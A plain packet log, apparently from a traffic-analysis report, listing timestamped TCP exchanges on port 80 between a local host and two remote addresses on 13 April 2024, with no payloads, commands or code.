Apr 13, 2024 20:21:08.357765913 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357784033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357784986 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.357800007 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.357800961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357817888 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357819080 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.357834101 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357836962 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.357851028 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357851982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.357867956 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357872009 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.357884884 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357887030 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.357897043 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357907057 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.357918024 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.358019114 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.358019114 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362471104 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362524986 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362539053 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362544060 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362565041 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362596035 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362596035 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362636089 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362659931 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362680912 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362699032 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362714052 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362718105 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362735987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362746000 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362746000 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362751961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362763882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362770081 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362782001 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362788916 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362802029 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362808943 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362818956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362826109 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362840891 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362843037 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362859011 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362859011 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362878084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362886906 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362895966 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362903118 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362914085 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362922907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362931013 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362940073 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362948895 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362957001 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362971067 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362976074 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.362989902 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.362993002 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363008022 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363025904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363028049 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363042116 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363045931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363059998 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363064051 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363076925 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363079071 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363090992 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363095045 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363111019 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363112926 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363123894 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363128901 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363142967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363148928 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363163948 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363166094 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363172054 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363183022 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363193989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363200903 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363214016 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363217115 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363224983 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363234997 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363245964 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363251925 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363260984 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363271952 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363281965 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363287926 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363292933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363306046 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363311052 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363322973 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363327980 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363339901 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363349915 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363358021 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363363028 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363375902 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363393068 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363413095 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363428116 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363440037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363440037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363440037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363440037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363445044 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363451004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363461971 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363471985 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363478899 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363490105 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363496065 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363506079 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363513947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363527060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363532066 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363538980 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363548994 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363558054 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363564968 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363578081 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363581896 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363598108 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363603115 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363605976 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363620996 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363630056 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363640070 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363643885 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363656998 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363665104 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363675117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363683939 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363692999 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363701105 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363712072 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363720894 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363730907 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363739967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363749027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363756895 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363765955 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363778114 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363784075 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363797903 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363801956 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363816023 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363820076 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363835096 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363837957 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363847971 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363856077 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363872051 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363872051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363893032 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363903046 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363924980 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.363950014 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363967896 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363985062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.363992929 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364003897 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364011049 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364022017 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364032030 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364039898 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364048004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364058018 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364069939 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364074945 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364088058 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364092112 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364106894 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364109993 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364125967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364126921 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364139080 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364156961 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364187956 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364202023 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364206076 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364233017 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364242077 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364249945 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364264011 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364267111 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364275932 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364298105 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364312887 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364335060 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364351988 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364377022 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364386082 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364397049 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364403963 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364428997 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364448071 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364449978 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364468098 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364485025 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364491940 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364501953 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364509106 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364518881 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364536047 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364536047 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364551067 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364568949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364573956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364588022 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364607096 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364623070 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364624023 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364641905 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364671946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364672899 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364691973 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364710093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364716053 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364728928 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364737034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364757061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364774942 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364823103 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364840984 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364857912 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364866972 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364875078 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364876986 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364893913 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364897966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364912033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364917994 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364929914 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.364938021 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364952087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364973068 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.364994049 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365012884 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365030050 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365037918 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365047932 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365055084 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365066051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365077019 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365082979 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365092993 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365099907 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365113974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365117073 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365130901 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365135908 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365149975 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365154982 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365164995 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365171909 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365185022 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365187883 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365205050 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365206003 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365222931 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365223885 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365236044 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365240097 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365257025 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365257025 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365274906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365274906 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365289927 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365292072 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365309954 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365309954 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365322113 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365326881 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365343094 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365345955 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.365361929 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365375042 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.365396976 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.563363075 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.563499928 CEST	49737	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.563812017 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.702205896 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702271938 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702311039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702347994 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702347994 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.702382088 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.702390909 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702419043 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.702429056 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702433109 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.702466965 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702470064 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.702507973 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702512980 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.702545881 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702553034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.702583075 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702589989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.702620983 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702630043 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.702658892 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702668905 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.702697992 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702708960 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.702739000 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702788115 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.702811003 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702847958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702857971 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.702884912 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702896118 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.702923059 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702931881 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.702965021 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.702966928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703002930 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703011036 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703042984 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703056097 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703083038 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703094006 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.703120947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.703133106 CEST	49739	80	192.168.2.4	193.233.132.167
